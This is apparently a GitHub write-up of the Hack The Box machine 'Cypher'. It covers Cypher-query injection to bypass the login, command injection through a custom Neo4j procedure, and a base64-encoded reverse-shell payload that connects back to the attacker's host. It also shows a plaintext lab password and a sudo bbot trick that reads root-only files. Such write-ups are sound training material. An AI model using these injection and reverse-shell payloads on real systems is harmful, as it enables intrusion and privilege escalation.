Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

pexmee/cypher

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

3 Commits

Repository files navigation

Cypher

  • IP: 10.10.11.57

Reconnaissance

Nmap

sudo nmap -sS -sU -vv 10.10.11.57
Discovered open port 80/tcp on 10.10.11.57
Discovered open port 22/tcp on 10.10.11.57

/etc/hosts

The following was added to the /etc/hosts file in order to be able to resolve it.

10.10.11.57 cypher.htb

Browsing

When browsing http://cypher.htb the follwing page was displayed. cde6791ec988f809d5fb7e9a0ba8f898.png

Login page

There was a login page at http://cypher.htb/login 32536e18f38660a434d19a1f404cd074.png

Fuzzing

➜ cypher ffuf -recursion --recursion-depth=10 -u http://cypher.htb/FUZZ -w ~/repos/SecLists/Discovery/Web-Content/common.txt -o common.json
[omitted]
about [Status: 200, Size: 4984, Words: 1117, Lines: 179]
api [Status: 307, Size: 0, Words: 1, Lines: 1]
demo [Status: 307, Size: 0, Words: 1, Lines: 1]
index [Status: 200, Size: 4562, Words: 1285, Lines: 163]
index.html [Status: 200, Size: 4562, Words: 1285, Lines: 163]
login [Status: 200, Size: 3671, Words: 863, Lines: 127]
testing [Status: 301, Size: 178, Words: 6, Lines: 8]
[INFO] Adding a new job to the queue: http://cypher.htb/testing/FUZZ
[INFO] Scanning: http://cypher.htb/testing/FUZZ

An interesting file & comment

An interesting file was found under http://cypher.htb/testing/ called custom-apoc-extension-1.0-SNAPSHOT.jar which could be downloaded. aa41cda6e894971d6f11623cb6a61f32.png

as well as an interesting comment found in the source for http://cypher.htb/login:

 <script>
 // TODO: don't store user accounts in neo4j
 function doLogin(e) {
 e.preventDefault();

So I could tell I'm dealing with neo4j, and the idea was to further inspect the file.

➜ cypher unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d extracted_dir
➜ cypher cd extracted_dir
➜ extracted_dir tree 
.
├── com
│  └── cypher
│  └── neo4j
│  └── apoc
│  ├── CustomFunctions$StringOutput.class
│  ├── CustomFunctions.class
│  ├── HelloWorldProcedure$HelloWorldOutput.class
│  └── HelloWorldProcedure.class
└── META-INF
 ├── MANIFEST.MF
 └── maven
 └── com.cypher.neo4j
 └── custom-apoc-extension
 ├── pom.properties
 └── pom.xml
9 directories, 7 files

Okay, so there are some custom classes, a manifest, an xml and a .properties file.

Authentication bypass

From the link https://neo4j.com/docs/getting-started/cypher/ I gathered that Cypher is a query language. So, I tried something funky at the login page:

5a50db4f8e9d09fa72db7198435e6da5.png

That confirmed that it was vulnerable, so I decided to try other queries.

With the query: 'select * from users I got an interesting error

Neo.ClientError.Statement.SyntaxError} {message: Invalid input 'select': expected an expression, 'FOREACH', 'ORDER BY', 'CALL', 'CREATE', 'LOAD CSV', 'DELETE', 'DETACH', 'FINISH', 'INSERT', 'LIMIT', 'MATCH', 'MERGE', 'NODETACH', 'OFFSET', 'OPTIONAL', 'REMOVE', 'RETURN', 'SET', 'SKIP', 'UNION', 'UNWIND', 'USE', 'WITH' or (line 1, column 55 (offset: 54)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''select * from users' return h.value as hash" ^}

and I could tell I could control the value that ends up in the query "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '[controllable-value]' return h.value as hash"

I opened burp and sent the request to the repeater and started to play around. After a while of testing I noticed that I could drop the rest of the command by adding a comment //. This I verified by first sending

*' return h.value as hash

which yielded the response c6e2dbfe1030cc77d8076ad8f483153e.png

but then when I added // to the same command, i.e when I sent

*' return h.value as hash//

I got

42f92bd2dbfc58a656c91116db9d376e.png

Since I knew I could drop the rest of the query, it also meant that I could essentially modify it in whatever way I saw fit starting from closing the first single quote.

I immediately attempted to create a user 2bc0f3a70dd296a83ee367159353cb24.png

which showed I did not have write permissions.

Anecdote: I sent more test queries, and with one of them, I ended up in my first rabbit hole. (See section Things That Didn't Work for details)

When sending ' OR 1=1 CALL db.labels() YIELD label RETURN label// I got a malformed response


Traceback (most recent call last):
 File "/app/app.py", line 144, in verify_creds
 db_hash = results[0]["hash"]
KeyError: 'hash'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
 File "/app/app.py", line 165, in login
 creds_valid = verify_creds(username, password)
 File "/app/app.py", line 151, in verify_creds
 raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' OR 1=1 CALL db.labels() YIELD label RETURN label//' return h.value as hash: Traceback (most recent call last):
 File "/app/app.py", line 144, in verify_creds
 db_hash = results[0]["hash"]
KeyError: 'hash'

Which meant I could control what ends up in db_hash, and which seemed to be used somehow to verify the credentials. Here I got an idea. Since I didn't have write permissions, but I could control what hash ends up for the authorization, it meant I could potentially create my own known hash.

First, I created a SHA1 hash with an arbitrary string, in this case 'ilovemango'.

➜ cypher echo -n "ilovemango" | openssl sha1
SHA1(stdin)= f6689cf79b90288dd5e622280d56fbe066716de1

Then I deviced a payload that looked like

' or 1=1 return 'f6689cf79b90288dd5e622280d56fbe066716de1' as hash//

and set the password to ilovemango. After sending the request, I got: 4310a45585a07e022a856f5200dc1884.png

Amazing. An authentication bypass.

d2d7d14e0a432398e6ba244ea4462013.png

RCE Via Demo

From the requests sent by the search function in http://cypher.htb/demo, I could see that they were sent via http://cypher.htb/api/cypher?query=<insert-query-here>, so naturally I went for an LFI attempt directly. eaa81defbc71988fec2e6a4e3e26c776.png

Even though I didn't get to expose the file, it did tell me what methods that were available.

From SHOW PROCEDURES I found familiar entries:

[
 {
 "name": "custom.getUrlStatusCode",
 "description": "Returns the HTTP status code for the given URL as a string",
 "mode": "READ",
 "worksOnSystem": false
 },
 {
 "name": "custom.helloWorld",
 "description": "A simple hello world procedure",
 "mode": "READ",
 "worksOnSystem": false
 },

These seemed promising considering they were custom and that I actually had a snapshot of their source code. I decided to test them out.

custom.getUrlStatusCode

e44fcdad3aa637bbd2691ec6786ee581.png

custom.helloWorld

fb11ac1200ddb0301a7e2b0a5532bd85.png

Great, but even better would be to understand how they work. So I researched how to decompile java code, and arrived at installing JD-GUI to analyze them.

JD-GUI Analysis

HelloWorldProcedure.class

1beeed264b5496bdd6319ef1b5ceb6b5.png

There didn't seem to be that much to play with for this procedure, so I checked the next one.

CustomFunctions.class

6b12aaa38231871362b863239d14ebfe.png

Here I could see that it was (as expected) the source code for the procedure getUrlStatusCode. This thing was obviously vulnerable to a command injection, as it didn't properly sanitize the input. To break it down:

  1. It checks if the input starts with http:// and if it doesn't it prepends it with http://
  2. It creates a command "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url
  3. it calls Runtime.getRuntime().exec(command)

So in order to exploit this, all I had to do was append ;[command] at the end of the url to chain in my own command:

206e2e61b4539238d201acab9880e55d.png

RCE achieved. ✅

User Flag

I attempted to directly get the flag via injecting cat /home/neo4j/user.txt, but that wasn't successful.

Reverse shell

I deviced a payload

call custom.getUrlStatusCode("http://cypher.htb/;echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvNDQ0MSAwPiYxCg== | base64 -d | /bin/bash -i")

which gave me a shell:

$ id
uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)

I found a home directory belonging to a user graphasm.

$ pwd
/home/graphasm
$ ls
bbot_preset.yml
user.txt
$ cat user.txt
cat: user.txt: Permission denied

And the file bbot_preset.yml contained a password:

$ cat bbot_preset.yml
targets:
 - ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
 modules:
 neo4j:
 username: [omitted]
 password: [omitted]

I checked it out with hashcat but it didn't seem to be a hash. So the natural thing to try here was to directly attempt to ssh into graphasm with the password:

➜ cypher ssh graphasm@10.10.11.57
graphasm@10.10.11.57's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro
 System information as of Mon Mar 3 03:41:41 AM UTC 2025
 System load: 0.0 Processes: 251
 Usage of /: 74.8% of 8.50GB Users logged in: 1
 Memory usage: 39% IPv4 address for eth0: 10.10.11.57
 Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Mar 3 03:41:41 2025 from 10.10.16.10
graphasm@cypher:~$ cat user.txt 
[omitted]

User flag owned. ✅

Note: Somewhere along the way of poking around with this user I got caught in my second and third rabbit holes.

Root Flag

To start with the standard privilege escalation, the first thing I usually do is to evaluate the user permissions and/or rwx permissions for the user and the groups.

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
 (ALL) NOPASSWD: /usr/local/bin/bbot
graphasm@cypher:~$ id
uid=1000(graphasm) gid=1000(graphasm) groups=1000(graphasm)

The user had sudo access to /usr/local/bin/bbot, so that became my attack vector.

graphasm@cypher:/usr/local/bin$ cat bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
 sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
 sys.exit(main())

Here I could see that it imports from bbot.cli import main. This was kept in mind.

graphasm@cypher:/usr/local/bin$ ./bbot --help
 ______ _____ ____ _______
 | ___ \| __ \ / __ \__ __|
 | |___) | |__) | | | | | |
 | ___ <| __ <| | | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/ |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]]
 [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]] [--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset] [--current-preset-full] [-o DIR] [-om MODULE [MODULE ...]]
 [--json] [--brief] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]]
 [--custom-yara-rules CUSTOM_YARA_RULES]
Bighuge BLS OSINT Tool
options:
 -h, --help show this help message and exit
Target:
 -t TARGET [TARGET ...], --targets TARGET [TARGET ...]
 Targets to seed the scan
 -w WHITELIST [WHITELIST ...], --whitelist WHITELIST [WHITELIST ...]
 What's considered in-scope (by default it's the same as --targets)
 -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...]
 Don't touch these things
 --strict-scope Don't consider subdomains of target/whitelist to be in-scope
Presets:
 -p [PRESET ...], --preset [PRESET ...]
 Enable BBOT preset(s)
 -c [CONFIG ...], --config [CONFIG ...]
 Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234'
 -lp, --list-presets List available presets.
Modules:
 -m MODULE [MODULE ...], --modules MODULE [MODULE ...]
 Modules to enable. Choices: bucket_azure,iis_shortnames,trufflehog,myssl,skymem,dotnetnuke,dockerhub,bypass403,wappalyzer,pgp,hackertarget,git_clone,trickest,dnscaa,wayback,credshed,paramminer_headers,oauth,ajaxpro,secretsdb,chaos,dnsbrute,github_workflows,docker_pull,urlscan,bucket_amazon,gowitness,code_repository,hunt,postman,telerik,nuclei,azure_tenant,dnsdumpster,zoomeye,newsletters,internetdb,ffuf_shortnames,bucket_google,dnsbrute_mutations,robots,wafw00f,bucket_file_enum,leakix,baddns_direct,crt,dnscommonsrv,fingerprintx,paramminer_getparams,portscan,emailformat,subdomaincenter,postman_download,dastardly,git,wpscan,badsecrets,securitytxt,bucket_firebase,hunterio,bevigil,anubisdb,securitytrails,rapiddns,azure_realm,columbus,baddns,asn,ipneighbor,c99,certspotter,affiliates,ipstack,ip2location,vhost,social,gitlab,bucket_digitalocean,baddns_zone,censys,paramminer_cookies,unstructured,github_org,sitedossier,dehashed,shodan_dns,github_codesearch,filedownload,fullhunt,passivetotal,builtwith,ntlm,httpx,viewdns,sslcert,digitorus,url_manipulation,host_header,generic_ssrf,ffuf,smuggler,virustotal,otx,binaryedge
 -l, --list-modules List available modules.
 -lmo, --list-module-options
 Show all module config options
 -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...]
 Exclude these modules.
 -f FLAG [FLAG ...], --flags FLAG [FLAG ...]
 Enable modules by flag. Choices: subdomain-hijack,report,affiliates,iis-shortnames,cloud-enum,web-paramminer,web-basic,subdomain-enum,email-enum,social-enum,active,baddns,safe,portscan,deadly,web-thorough,passive,service-enum,slow,web-screenshots,code-enum,aggressive
 -lf, --list-flags List available flags.
 -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...]
 Only enable modules with these flags (e.g. -rf passive)
 -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...]
 Disable modules with these flags. (e.g. -ef aggressive)
 --allow-deadly Enable the use of highly aggressive modules
Scan:
 -n SCAN_NAME, --name SCAN_NAME
 Name of scan (default: random)
 -v, --verbose Be more verbose
 -d, --debug Enable debugging
 -s, --silent Be quiet
 --force Run scan even in the case of condition violations or failed module setups
 -y, --yes Skip scan confirmation prompt
 --dry-run Abort before executing scan
 --current-preset Show the current preset in YAML format
 --current-preset-full
 Show the current preset in its full form, including defaults
Output:
 -o DIR, --output-dir DIR
 Directory to output scan results
 -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...]
 Output module(s). Choices: teams,stdout,json,discord,web_report,python,emails,subdomains,csv,http,slack,neo4j,txt,splunk,asset_inventory,websocket
 --json, -j Output scan data in JSON format
 --brief, -br Output only the data itself
 --event-types EVENT_TYPES [EVENT_TYPES ...]
 Choose which event types to display
Module dependencies:
 Control how modules install their dependencies
 --no-deps Don't install module dependencies
 --force-deps Force install all module dependencies
 --retry-deps Try again to install failed module dependencies
 --ignore-failed-deps Run modules even if they have failed dependencies
 --install-all-deps Install dependencies for all modules
Misc:
 --version show BBOT version and exit
 -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...]
 List of custom headers as key value pairs (header=value).
 --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES
 Add custom yara rules to excavate
EXAMPLES
 Subdomains:
 bbot -t evilcorp.com -p subdomain-enum
 Subdomains (passive only):
 bbot -t evilcorp.com -p subdomain-enum -rf passive
 Subdomains + port scan + web screenshots:
 bbot -t evilcorp.com -p subdomain-enum -m portscan gowitness -n my_scan -o .
 Subdomains + basic web scan:
 bbot -t evilcorp.com -p subdomain-enum web-basic
 Web spider:
 bbot -t www.evilcorp.com -p spider -c web.spider_distance=2 web.spider_depth=2
 Everything everywhere all at once:
 bbot -t evilcorp.com -p kitchen-sink
 List modules:
 bbot -l
 List presets:
 bbot -lp
 List flags:
 bbot -lf

So BIGHUGE BLS OSINT TOOL v2.1.0.4939rc was the program and I could see some interesting options, most notably --dry-run. When looking at the code for cli.py, it was confirmed that it skipped the scan step:

	if not options.dry_run:
				...
 except BBOTError as e:
 log.error(str(e))
 log.trace(traceback.format_exc())
		...

This proved useful when testing different commands. Another two flags that proved useful were -v for verbose and -d for debugging.

After testing for a while and coming up empty, I checked again for the arguments and saw these four:

Target:
 -t TARGET [TARGET ...], --targets TARGET [TARGET ...]
 Targets to seed the scan
 -w WHITELIST [WHITELIST ...], --whitelist WHITELIST [WHITELIST ...]
 What's considered in-scope (by default it's the same as --targets)
 -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...]
 Don't touch these things
 --strict-scope Don't consider subdomains of target/whitelist to be in-scope

And when passing -t I got:

graphasm@cypher:/usr/local/bin$ sudo bbot -v --dry-run -d -t /root/root.txt
 ______ _____ ____ _______
 | ___ \| __ \ / __ \__ __|
 | |___) | |__) | | | | | |
 | ___ <| __ <| | | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/ |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Reading targets from file: /root/root.txt
[omitted]
[DBUG] Generated Regex [(([a-z0-9-]+\.)[omitted]] for domain [contents of /root/root.txt]
[omitted]
raphasm@cypher:/usr/local/bin$ 

All flags obtained. ✅ Mission successfully completed. ✅

Things That Didn't work

Rabbit Hole 1

I could see from an exception what paths were used for the python code. 328a98b8fb890116eddae259f75d3436.png

After some googling, I arrived at neo4j-python-driver. I cloned the repository from git@github.com:neo4j/neo4j-python-driver.git and started looking through it.

In the end this didn't prove fruitful so I abandoned that endeavor. I also started looking at the below files:

MANIFEST.MF

➜ extracted_dir cat META-INF/MANIFEST.MF 
Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.4.1
Build-Jdk-Spec: 22

pom.properties

➜ extracted_dir cat META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties 
artifactId=custom-apoc-extension
groupId=com.cypher.neo4j
version=1.0-SNAPSHOT

pom.xml

➜ extracted_dir cat META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml 
<project xmlns="http://maven.apache.org/POM/4.0.0"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 <modelVersion>4.0.0</modelVersion>
 <groupId>com.cypher.neo4j</groupId>
 <artifactId>custom-apoc-extension</artifactId>
 <version>1.0-SNAPSHOT</version>
 <properties>
 <neo4j.version>5.23.0</neo4j.version>
 <maven.compiler.source>11</maven.compiler.source>
 <maven.compiler.target>11</maven.compiler.target>
 </properties>
 <dependencies>
 <dependency>
 <groupId>org.neo4j</groupId>
 <artifactId>neo4j</artifactId>
 <version>${neo4j.version}</version>
 <scope>provided</scope>
 </dependency>
 </dependencies>
 <build>
 <plugins>
 <plugin>
 <artifactId>maven-compiler-plugin</artifactId>
 <version>3.8.1</version>
 <configuration>
 <source>11</source>
 <target>11</target>
 </configuration>
 </plugin>
 <plugin>
 <artifactId>maven-shade-plugin</artifactId>
 <version>3.2.4</version>
 <executions>
 <execution>
 <phase>package</phase>
 <goals>
 <goal>shade</goal>
 </goals>
 </execution>
 </executions>
 </plugin>
 </plugins>
 </build>
</project>% 

From here I saw some things:

  • The versions of
    • neo4j
    • maven-complier-plugin
    • maven-shade-plugin

But these too did not give me much of value.

Rabbit Hole 2

I wanted to find files belonging to the group neo4j, which was at first clouded by plenty of output for files in /proc/, but after silencing them, I ended up with:

$ find / -path /proc -prune -o -group neo4j -ls 2>/dev/null
 397607 0 -rw-r--r-- 1 neo4j neo4j 0 Feb 24 13:04 /var/log/neo4j/security.log
 397592 0 -rw-r--r-- 1 neo4j neo4j 0 Feb 24 13:04 /var/log/neo4j/http.log
 393262 4 -rw-r--r-- 1 neo4j neo4j 1783 Mar 1 18:39 /var/log/neo4j/neo4j.log
 397606 0 -rw-r--r-- 1 neo4j neo4j 0 Feb 24 13:04 /var/log/neo4j/query.log
 393345 192 -rw-r--r-- 1 neo4j neo4j 194188 Mar 1 18:39 /var/log/neo4j/debug.log
 393243 4 -rw-r--r-- 1 neo4j neo4j 4 Mar 1 18:38 /var/lib/neo4j/run/neo4j.pid
 393249 0 -rw-r--r-- 1 neo4j neo4j 0 Mar 1 18:39 /var/lib/neo4j/data/databases/neo4j/id-buffer.tmp.0
 393248 4 drwxr-xr-x 2 neo4j neo4j 4096 Mar 1 18:39 /var/lib/neo4j/data/databases/neo4j/schema/index/fulltext-1.0/7/7.tx
 393247 0 -rw-r--r-- 1 neo4j neo4j 0 Mar 1 18:39 /var/lib/neo4j/data/databases/system/id-buffer.tmp.0
 399026 4 -rw-r--r-- 1 neo4j neo4j 63 Oct 8 18:07 /var/lib/neo4j/.bash_history
 4075 0 -rw-r--r-- 1 neo4j neo4j 0 Mar 1 18:38 /sys/fs/cgroup/system.slice/neo4j.service/memory.pressure
 2 0 -rw-r--r-- 1 neo4j neo4j 0 Mar 1 19:28 /dev/shm/shell_tcp.py
 132483 4 drwxr-xr-x 2 neo4j neo4j 4096 Mar 1 18:38 /tmp/hsperfdata_neo4j
 132490 32 -rw------- 1 neo4j neo4j 32768 Mar 2 14:35 /tmp/hsperfdata_neo4j/1820
 132484 32 -rw------- 1 neo4j neo4j 32768 Mar 2 14:35 /tmp/hsperfdata_neo4j/1410
 132486 4 drwx------ 2 neo4j neo4j 4096 Mar 1 18:39 /tmp/jetty-172_18_0_1-7474-neo4j-browser-5_24_0_jar-_browser-any-18406815084240426945
 1295 0 -rw-r--r-- 1 neo4j neo4j 0 Mar 1 19:31 /tmp/mane

So the user had rwx permissions for the following directories:

  • /var/lib/neo4j/data/databases/neo4j/schema/index/fulltext-1.0/7/7.tx
  • /tmp/hsperfdata_neo4j

I also saw that .bash_history seemed populated with data

$ cat ~/.bash_history
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

(here was the password again)

and that there were some cli commands I could run

$ neo4j
Usage: neo4j [-hV] [--expand-commands] [--verbose] [COMMAND]
A partial alias for 'neo4j-admin server'. Commands for working with DBMS process from 'neo4j-admin server' category can
be invoked using this command.
 --expand-commands Allow command expansion in config value evaluation.
 -h, --help Show this help message and exit.
 -V, --version Print version information and exit.
 --verbose Prints additional information.
Commands:
 version Print version information and exit.
 help Display help information about the specified command.
 console Start server in console.
 restart Restart the server daemon.
 start Start server as a daemon.
 status Get the status of the neo4j server process.
 stop Stop the server daemon.
Environment variables:
 NEO4J_CONF Path to directory which contains neo4j.conf.
 NEO4J_DEBUG Set to anything to enable debug output.
 NEO4J_HOME Neo4j home directory.
 HEAP_SIZE Set JVM maximum heap size during command execution. Takes a number and a unit, for example 512m.
 JAVA_OPTS Used to pass custom setting to Java Virtual Machine executing the command. Refer to JVM documentation
about the exact format. This variable is incompatible with HEAP_SIZE and takes precedence over HEAP_SIZE.

This seemed unnecessary since it was mostly in relation to the dbms and thus the idea was abandoned.

Rabbit Hole 3

From

$ ps aux | grep -i graphasm
graphasm 2156 0.0 0.2 20164 11264 ? Ss Mar01 0:00 /usr/lib/systemd/systemd --user
graphasm 2158 0.0 0.0 21148 3520 ? S Mar01 0:00 (sd-pam)
root 4031 0.0 0.1 14992 7876 ? Ss Mar01 0:00 sshd: graphasm [priv]
graphasm 4087 0.0 0.1 14992 6848 ? S Mar01 0:00 sshd: graphasm@pts/0
graphasm 4088 0.0 0.1 9496 6272 pts/0 Ss+ Mar01 0:00 -bash
root 6240 0.0 0.1 9780 4924 pts/1 S 12:12 0:00 su graphasm
graphasm 6241 0.0 0.1 9324 6272 pts/1 S 12:12 0:00 bash
graphasm 6252 0.0 0.3 24780 13056 pts/1 Sl+ 12:14 0:00 vim /usr/local/bin/bbot
root 6266 0.0 0.1 9780 5048 pts/2 S 12:15 0:00 su graphasm
graphasm 6267 0.0 0.1 9324 6144 pts/2 S+ 12:15 0:00 bash
neo4j 8476 0.0 0.0 6544 2304 ? S 15:29 0:00 grep -i graphasm

I could see the file /usr/local/bin/bbot was in an active vim session, as well as root running a su session with graphasm. For the vim session the file contained:

$ cat /usr/local/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
 sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
 sys.exit(main())

(This was later proved useful for getting the root flag)

Additionally I saw that I could tap into the pts.

$ ps -o tty= -p <pid-here>
pts/<some-number>
$ echo "test" > /dev/pts/2
$ echo "touch /home/graphasm/test.txt" > /dev/pts/2

Again this did not work as intended, and when tested on my local system I could see that text ended up in vim or that text ended up in the active terminal, but I couldn't get them to execute. For the vim session the trick would be to escape the insert and do something like :<command>, but I couldn't get it to work. However, perhaps with the right payload it would be possible to execute commands or even pop a shell.

About

A writeup for the Hack The Box machine Cypher (Medium Competitive Challenge).

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

Contributors

AltStyle によって変換されたページ (->オリジナル) /